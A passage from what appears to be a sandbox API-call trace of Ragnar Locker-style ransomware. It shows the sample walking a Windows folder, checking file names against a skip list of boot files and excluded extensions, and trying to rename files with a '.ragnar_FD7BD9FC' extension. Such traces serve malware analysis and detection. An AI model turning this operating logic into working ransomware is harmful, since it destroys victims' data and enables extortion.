lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.825] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipssrl.xml" | out: lpString1="ipssrl.xml") returned="ipssrl.xml" [0058.825] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned=".xml" [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="autorun.inf") returned 1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="boot.ini") returned 1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="bootfont.bin") returned 1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="bootsect.bak") returned 1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="bootmgr") returned 1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="bootmgr.efi") returned 1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="bootmgfw.efi") returned 1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="desktop.ini") returned 1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="iconcache.db") returned 1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="ntldr") returned -1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="ntuser.dat") returned -1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="ntuser.dat.log") returned -1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="ntuser.ini") returned -1 [0058.825] lstrcmpiW (lpString1="ipssrl.xml", lpString2="thumbs.db") returned -1 [0058.825] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.825] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.825] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.825] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.825] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.825] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.826] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0058.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.826] CloseHandle (hObject=0xffffffff) returned 0 [0058.826] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" [0058.826] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.ragnar_FD7BD9FC" [0058.826] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.826] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0058.826] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.826] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ipssve.xml" | out: lpString1="ipssve.xml") returned="ipssve.xml" [0058.826] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned=".xml" [0058.826] lstrcmpiW (lpString1="ipssve.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.826] lstrcmpiW (lpString1="ipssve.xml", lpString2="autorun.inf") returned 1 [0058.826] lstrcmpiW (lpString1="ipssve.xml", lpString2="boot.ini") returned 1 [0058.826] lstrcmpiW (lpString1="ipssve.xml", lpString2="bootfont.bin") returned 1 [0058.826] lstrcmpiW (lpString1="ipssve.xml", lpString2="bootsect.bak") returned 1 [0058.826] lstrcmpiW (lpString1="ipssve.xml", lpString2="bootmgr") returned 1 [0058.826] lstrcmpiW (lpString1="ipssve.xml", lpString2="bootmgr.efi") returned 1 [0058.826] lstrcmpiW (lpString1="ipssve.xml", lpString2="bootmgfw.efi") returned 1 [0058.826] lstrcmpiW (lpString1="ipssve.xml", lpString2="desktop.ini") returned 1 [0058.827] lstrcmpiW (lpString1="ipssve.xml", lpString2="iconcache.db") returned 1 [0058.827] lstrcmpiW (lpString1="ipssve.xml", lpString2="ntldr") returned -1 [0058.827] lstrcmpiW (lpString1="ipssve.xml", lpString2="ntuser.dat") returned -1 [0058.827] lstrcmpiW (lpString1="ipssve.xml", lpString2="ntuser.dat.log") returned -1 [0058.827] lstrcmpiW (lpString1="ipssve.xml", lpString2="ntuser.ini") returned -1 [0058.827] lstrcmpiW (lpString1="ipssve.xml", lpString2="thumbs.db") returned -1 [0058.827] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0058.827] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0058.827] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0058.827] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0058.827] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0058.827] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0058.827] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0058.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0058.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.827] CloseHandle (hObject=0xffffffff) returned 0 [0058.827] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" [0058.827] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.ragnar_FD7BD9FC" [0058.827] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.828] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x742e7900, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x742e7900, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0058.828] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7430da60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0058.828] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0058.828] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.828] lstrcpyW (in: lpString1=0x1eb62e, lpString2="journal.dll" | out: lpString1="journal.dll") returned="journal.dll" [0058.828] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\journal.dll") returned=".dll" [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="autorun.inf") returned 1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="boot.ini") returned 1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="bootfont.bin") returned 1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="bootsect.bak") returned 1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="bootmgr") returned 1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="bootmgr.efi") returned 1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="bootmgfw.efi") returned 1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="desktop.ini") returned 1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="iconcache.db") returned 1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="ntldr") returned -1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="ntuser.dat") returned -1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="ntuser.dat.log") returned -1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="ntuser.ini") returned -1 [0058.828] lstrcmpiW (lpString1="journal.dll", lpString2="thumbs.db") returned -1 [0058.828] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.828] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.828] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.828] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7430da60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0058.828] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74359d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74359d20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0058.828] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0058.828] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0058.828] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.828] lstrcpyW (in: lpString1=0x1eb62e, lpString2="micaut.dll" | out: lpString1="micaut.dll") returned="micaut.dll" [0058.828] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll") returned=".dll" [0058.828] lstrcmpiW (lpString1="micaut.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.828] lstrcmpiW (lpString1="micaut.dll", lpString2="autorun.inf") returned 1 [0058.828] lstrcmpiW (lpString1="micaut.dll", lpString2="boot.ini") returned 1 [0058.829] lstrcmpiW (lpString1="micaut.dll", lpString2="bootfont.bin") returned 1 [0058.829] lstrcmpiW (lpString1="micaut.dll", lpString2="bootsect.bak") returned 1 [0058.829] lstrcmpiW (lpString1="micaut.dll", lpString2="bootmgr") returned 1 [0058.829] lstrcmpiW (lpString1="micaut.dll", lpString2="bootmgr.efi") returned 1 [0058.829] lstrcmpiW (lpString1="micaut.dll", lpString2="bootmgfw.efi") returned 1 [0058.829] lstrcmpiW (lpString1="micaut.dll", lpString2="desktop.ini") returned 1 [0058.829] lstrcmpiW (lpString1="micaut.dll", lpString2="iconcache.db") returned 1 [0058.829] lstrcmpiW (lpString1="micaut.dll", lpString2="ntldr") returned -1 [0058.829] lstrcmpiW (lpString1="micaut.dll", lpString2="ntuser.dat") returned -1 [0058.829] lstrcmpiW (lpString1="micaut.dll", lpString2="ntuser.dat.log") returned -1 [0058.829] lstrcmpiW (lpString1="micaut.dll", lpString2="ntuser.ini") returned -1 [0058.829] lstrcmpiW (lpString1="micaut.dll", lpString2="thumbs.db") returned -1 [0058.829] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.829] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.829] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.829] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0058.829] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.829] lstrcpyW (in: lpString1=0x1eb62e, lpString2="Microsoft.Ink.dll" | out: lpString1="Microsoft.Ink.dll") returned="Microsoft.Ink.dll" [0058.829] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll") returned=".dll" [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="autorun.inf") returned 1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="boot.ini") returned 1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="bootfont.bin") returned 1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="bootsect.bak") returned 1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="bootmgr") returned 1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="bootmgr.efi") returned 1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="bootmgfw.efi") returned 1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="desktop.ini") returned 1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="iconcache.db") returned 1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="ntldr") returned -1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="ntuser.dat") returned -1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="ntuser.dat.log") returned -1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="ntuser.ini") returned -1 [0058.829] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="thumbs.db") returned -1 [0058.829] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.830] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.830] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.830] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0058.830] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.830] lstrcpyW (in: lpString1=0x1eb62e, lpString2="mip.exe" | out: lpString1="mip.exe") returned="mip.exe" [0058.830] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mip.exe") returned=".exe" [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="autorun.inf") returned 1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="boot.ini") returned 1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="bootfont.bin") returned 1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="bootsect.bak") returned 1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="bootmgr") returned 1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="bootmgr.efi") returned 1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="bootmgfw.efi") returned 1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="desktop.ini") returned 1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="iconcache.db") returned 1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="ntldr") returned -1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="ntuser.dat") returned -1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="ntuser.dat.log") returned -1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="ntuser.ini") returned -1 [0058.830] lstrcmpiW (lpString1="mip.exe", lpString2="thumbs.db") returned -1 [0058.830] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0058.830] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0058.830] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0058.830] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0058.830] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0058.830] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0058.830] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0058.830] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0058.830] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.830] lstrcpyW (in: lpString1=0x1eb62e, lpString2="mraut.dll" | out: lpString1="mraut.dll") returned="mraut.dll" [0058.830] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll") returned=".dll" [0058.830] lstrcmpiW (lpString1="mraut.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.830] lstrcmpiW (lpString1="mraut.dll", lpString2="autorun.inf") returned 1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="boot.ini") returned 1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="bootfont.bin") returned 1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="bootsect.bak") returned 1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="bootmgr") returned 1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="bootmgr.efi") returned 1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="bootmgfw.efi") returned 1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="desktop.ini") returned 1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="iconcache.db") returned 1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="ntldr") returned -1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="ntuser.dat") returned -1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="ntuser.dat.log") returned -1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="ntuser.ini") returned -1 [0058.831] lstrcmpiW (lpString1="mraut.dll", lpString2="thumbs.db") returned -1 [0058.831] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0058.831] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0058.831] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0058.831] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0058.831] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.831] lstrcpyW (in: lpString1=0x1eb62e, lpString2="mshwgst.dll" | out: lpString1="mshwgst.dll") returned="mshwgst.dll" [0058.831] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mshwgst.dll") returned=".dll" [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="autorun.inf") returned 1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="boot.ini") returned 1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="bootfont.bin") returned 1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="bootsect.bak") returned 1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="bootmgr") returned 1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="bootmgr.efi") returned 1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="bootmgfw.efi") returned 1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="desktop.ini") returned 1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="iconcache.db") returned 1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="ntldr") returned -1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="ntuser.dat") returned -1 [0058.831] lstrcmpiW (lpString1="mshwgst.dll", lpString2="ntuser.dat.log") returned 